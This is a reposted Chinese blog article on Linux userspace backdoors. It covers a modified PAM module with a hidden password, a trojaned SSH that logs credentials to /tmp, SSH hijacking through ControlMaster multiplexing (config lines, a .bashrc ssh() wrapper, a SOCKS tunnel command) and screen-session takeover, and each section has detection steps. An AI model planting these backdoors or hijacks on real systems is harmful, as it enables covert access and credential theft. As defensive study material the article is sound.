Linux UserSpace Back-Door、Rootkit SSH/PAM Backdoor Attack And Defensive Tchnology
catalog
0. 引言 1. Pam后門 2. SSH后門 3. Hijacking SSH 4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication 5. Hijacking Active SSH Screen Sessions
?
0. 引言?
0x1: 安全攻防觀點
1. Know Your Enemy : Know Your System //客戶端攻防的戰(zhàn)場主要在操作系統(tǒng)層面,同時也包括了和系統(tǒng)銜接的WEB、遠(yuǎn)程LOGIN等模塊,了解它們的特性(尤其是高性能、邊緣特性)才能更好地作出針對性的防御 2. Effectivness != Complexity //攻防是一個整體性的工程化項目,任何一個維度的漏洞都能夠?qū)е卤缓诳腿肭?#xff0c;因此并一定說內(nèi)核攻防就比應(yīng)用層攻防重要,它們是同等重要的。攻防手段的有效性并不一定需要通過復(fù)雜性來保證 3. Everything Is A Weapon //內(nèi)力所到之處,皆為兵刃,對于操作系統(tǒng)的任何一個特性,只要找到正確的使用方法和組合模式,都極有可能形成一條入侵向量
0x2: Attacker vs Defender
1. For the Attacker: Use System Builtin's to Simulate Rootkit Functionality. 盡量做到潤物細(xì)無聲,即把rootkit偽裝成系統(tǒng)正常的工具、行為 Stop relying on tools: "Master the environment."2. For the Defender: Know Your System, Before I Use it Against You. Thinking like an attacker: "Flip the evil bit."
Relevant Link:
https://www.blacklodgeresearch.org/files/7613/6963/4840/Poor_Mans_Root_Kit_BLR_talk_PUBLIC_2013.pdf
?
1. Pam后門
PAM(插入式驗證模塊(Pluggable Authentication Module,PAM))簡單來說,就是提供了一組身份驗證、密碼驗證的統(tǒng)一抽象接口,應(yīng)用程序員可以使用這些API接口來實現(xiàn)與安全性相關(guān)的功能,PAM可以作為Linux登錄驗證(包括SSH)的統(tǒng)一驗證入口點,也同樣出于一點,黑客可以利用PAM部署SSH代碼級的邏輯后門
0x1: 查詢本機(jī)的PAM版本
0x2: 下載對應(yīng)的源代碼文件
http://pkgs.fedoraproject.org/repo/pkgs/pam/Linux-PAM-0.99.6.2.tar.bz2/52844c64efa6f8b6a9ed702eec341a4c/ http://www.linux-pam.org/pre/history/ http://www.linux-pam.org/pre/library/
0x3: 對原始的PAM so文件進(jìn)行備份
cd /lib64/security
ll pam_unix.so
mv pam_unix.so pam_unix.so.bak 0x4: 修改源文件,添加邏輯后門
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix vim pam_unix_auth.c
0x5: 重新編譯pam模塊
cd /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/ ./configure make
0x6: 使用包含邏輯后門的pam模塊替換系統(tǒng)默認(rèn)的pam模塊
cp /zhenghan/pam-backdoor/Linux-PAM-0.99.6.2/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so
0x7: 測試后門
1. 使用正常root帳號、密碼登錄 2. 使用root帳號,后門密碼(pam)進(jìn)行隱藏登錄
0x8: 對抗檢測方法
pam_unix是系統(tǒng)原生的模塊,可以使用RPM的校驗機(jī)制進(jìn)行篡改檢測
1. centos rpm校驗已安裝包是否被修改 rpm -qV pam ....L.... c /etc/pam.d/fingerprint-auth ....L.... c /etc/pam.d/password-auth ....L.... c /etc/pam.d/smartcard-auth ....L.... c /etc/pam.d/system-auth S.?...... /lib64/libpam.so.0.82.2 S.?...... /lib64/libpam_misc.so.0.82.0 S.5....T. /lib64/security/pam_unix.so結(jié)果含義 /* 如果一切均校驗正常將不會產(chǎn)生任何輸出。如果有不一致的地方,就會顯示出來。輸出格式 1. 8位長字符串: 8位字符的每一個 用以表示文件與RPM數(shù)據(jù)庫中一種屬性的比較結(jié)果("."表示檢測通過)1) S: 文件大小 2) M: 模式e (包括權(quán)限和文件類型)3) 5: 校驗和(md5)、?: 文件不可讀4) D: 設(shè)備5) L: 符號鏈接6) U: 用戶7) G: 組8) T: 文件修改時間 2. c: 用以指配置文件 3. 文件名 */2. ubuntu dpkg -V libpam-modules ??5?????? c /etc/security/limits.conf ??5?????? /lib/x86_64-linux-gnu/security/pam_unix.so
從二進(jìn)制的角度來看,被植入了代碼級邏輯后門的so文件可以被當(dāng)成病毒處理,通過提取邏輯后門附近的二進(jìn)制特征碼,加入殺毒特征庫,可以實現(xiàn)對此類后門的查殺,并禁止其被ssh加載
1. 提取包含邏輯后門的pam_unix.so的特征碼 2. 加入殺毒特征庫 3. 禁止邏輯后門pam_unix.so模塊被ssh進(jìn)程加載
Relevant Link:
http://w ww.csdn123.com/html/itweb/20130911/112822_112821_112829.htm http://www.cnblogs.com/LittleHann/p/3662161.html http://bobao.360.cn/learning/detail/454.html http://www.awaysoft.com/taor/rpm%E6%A0%A1%E9%AA%8C%E5%B7%B2%E5%AE%89%E8%A3%85%E5%8C%85%E6%98%AF%E5%90%A6%E8%A2%AB%E4%BF%AE%E6%94%B9.html
?
2. SSH后門
vi includes.h //修改后門密碼,記錄文件位置,/* +#define ILOG "/tmp/ilog" //記錄登錄到本機(jī)的用戶名和密碼 +#define OLOG "/tmp/olog" //記錄本機(jī)登錄到遠(yuǎn)程的用戶名和密碼 +#define SECRETPW "123456654321" //后門的密碼 */
0x1: 后門行為
1. 黑客使用設(shè)置的后門密碼可以直接跨越驗證邏輯登錄 2. 管理員用root、其他帳號的登錄全部會被秘密記錄下來,相當(dāng)于key logger
0x2: 對抗檢測方法
1. 二進(jìn)制特征檢測1) 通過ELF格式動態(tài)定位到目標(biāo)函數(shù)的位置2) 在目標(biāo)函數(shù)內(nèi)部采用clamav的特征庫定位方式:【特征:offset:length】 2. 使用系統(tǒng)rpm檢測ssh的完整性 3. 檢測程序中的string特征字符串,黑客部署的邏輯后門代碼一般都有一段字符串特征碼 4. 嘗試任意密碼登錄ssh,檢查是否被黑客部署了"無密碼邏輯后門",即黑客在判斷邏輯中直接加入了return語句,跳過任何密碼檢查邏輯
Relevant Link:
http://www.freebuf.com/tools/10474.html
?
3. Hijacking SSH
SSH can also be used to gather inteligence about other potential targets on the network,every time a user connects to a system using SSH a file is created in $HOME/.ssh/ called known_hosts,by examining this file an attacker can see other hosts that trusts the user
在黑客控制了一臺用戶機(jī)器之后,通過查看known_hosts收集信息,將有可能獲取到當(dāng)前主機(jī)連接的下一臺跳板機(jī)、內(nèi)網(wǎng)、DMZ機(jī)器,以此擴(kuò)大攻擊面
Relevant Link:
https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf
?
4. Hijacking SSH By Setup A Tunnel Which Allows Multiple Sessions Over The Same SSH Connection Without Re-Authentication
0x1: SSH multiplexing
Multiplexing is the ability to send more than one signal over a single line or connection. With multiplexing, OpenSSH can re-use an existing TCP connection for multiple concurrent SSH sessions rather than creating a new one each time.
1. the overhead of creating new TCP connections is eliminated. The overall number of connections that a machine may accept is a finite resource and the limit is more noticeable on some machines than on others, and varies greatly depending on both load and usage. 2. with multiplexing only a single TCP connection is set up and used regardless of whether or not there are multiple SSH sessions carried over it. 3. multiplexed connection技術(shù)可以顯著減少ssh連接時間
0x2: Setting Up Multiplexing
需要明白的是,SSH劫持是發(fā)生在被黑客控制的機(jī)器上,黑客通過SSH劫持,希望能夠無密碼獲得當(dāng)前用戶連接的下一臺機(jī)器。因此,黑客需要修改的配置文件是受控制的用戶機(jī)器上的配置文件
1. ControlMaster: determines whether ssh will listen for control connections and what to do about them. 2. ControlPath: is the location for the control socket used by the multiplexed sessionsv 3. ControlPersist: can be used in conjunction with ControlMaster. 1) If set to 'yes', it will leave the master connection open in the background indefinitely to accept new connections until either killed explicitly or closed with -O. //Control sockets are removed automatically when the master connection is ended.
1. 攻擊者有root權(quán)限
vim /etc/ssh/ssh_config /* .. ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes .. */
開啟了ControlMaster模式之后,如果當(dāng)前用戶已經(jīng)成功登錄過一次目標(biāo)機(jī)器(例如遠(yuǎn)程跳板機(jī)、DMZ機(jī)器),則黑客可以利用Multiplexing技術(shù)直接"無密碼"登錄同樣的那臺服務(wù)器,簡單來說,SSH的密碼驗證是基于TCP Connection級別的,而不是會話Session界別的,當(dāng)發(fā)生Multiplexing的時候,黑客的Session可以直接繞過任何的登錄驗證
2. 攻擊者沒有root權(quán)限
vim $HOME/.ssh/config /* .. ControlPath /tmp/%r@%h:%p ControlMaster auto ControlPersist yes .. */
3. 在.bashrc里封裝ssh命令
vim $HOMW/.bashrc /* .. ssh () { /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@"; } .. */
利用了Linux Bash的自定義函數(shù)的方式、SSH動態(tài)配置參數(shù)的特性實現(xiàn)了開啟ControlMaster模式
0x3: 攻擊者復(fù)用Multiplexing模式下的Socket會話進(jìn)行SSH連接
These settings will cause all new SSH sessions to create a persistent brokering master socket.
I've used %h in control socket commands to represent the target host, %h can be any char(s).
This socket can be used to create further sessions, without credentials, even after the original user exits their session.
0x4: Adding a dynamic tunnel
we can create a dynamic tunnel inside an existing master socket
lsof -i TCP:9090 ssh -O forward -D 9090 -S /tmp/root@112.124.20.20\:22 %h lsof -i TCP:9090
通過注入命令實現(xiàn)端口轉(zhuǎn)發(fā),執(zhí)行完這條命令后,我們就可以使用這臺機(jī)器的9090端口做SOCKS5代理,訪問下一跳的網(wǎng)段
0x5: 前面說過,如果ControlPersist為yes,則不會自動刪除sockets文件,我們可以手工rm刪除/tmp/root@112.124.20.20\:22,也可以優(yōu)雅的使用
ssh -O exit -S /tmp/root@112.124.20.20\:22 %h
0x6: 對抗檢測方法
1. 檢查ssh的配置文件中,是否開啟了ControlMaster模式1) /etc/ssh/ssh_config2) $HOME/.ssh/config 2. 檢查bash自定義函數(shù)中是否有ssh()劫持 set | grep "ssh()"
Relevant Link:
https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Multiplexing http://unix.stackexchange.com/questions/22965/limits-of-ssh-multiplexing http://www.anchor.com.au/blog/2010/02/ssh-controlmaster-the-good-the-bad-the-ugly/ http://www.revsys.com/writings/quicktips/ssh-faster-connections.html
?
5. Hijacking Active SSH Screen Sessions
ssh_user用戶使用screen管理ssh會話時的情景
1. 當(dāng)ssh_user使用 screen ssh root@112.124.20.20 連接遠(yuǎn)程的"112.124.20.20"時,會在/var/run/screen有顯示相應(yīng)的文件2. ls -la /var/run/screen/ 可以用screen -r root/來接管會話
注入screen的ssh會話,會有一個不好的地方,就是你敲的命令,會在當(dāng)前正在連接的用戶那里同時顯示,容易被發(fā)現(xiàn)
0x1: 對抗檢測方法
1. 檢測/var/run/screen/是否包含screen會話,這從某種程度上算是一種可疑事件
Relevant Link:
http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html http://drops.wooyun.org/tips/5253
?
Copyright (c) 2015 Little5ann All rights reserved
?
轉(zhuǎn)載于:https://www.cnblogs.com/LittleHann/p/4596223.html
總結(jié)
以上是生活随笔為你收集整理的Linux UserSpace Back-Door、Rootkit SSH/PAM Backdoor Attack And Defensive Tchnology的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 我的世界垃圾桶怎么制作?
- 下一篇: webservice发送字符串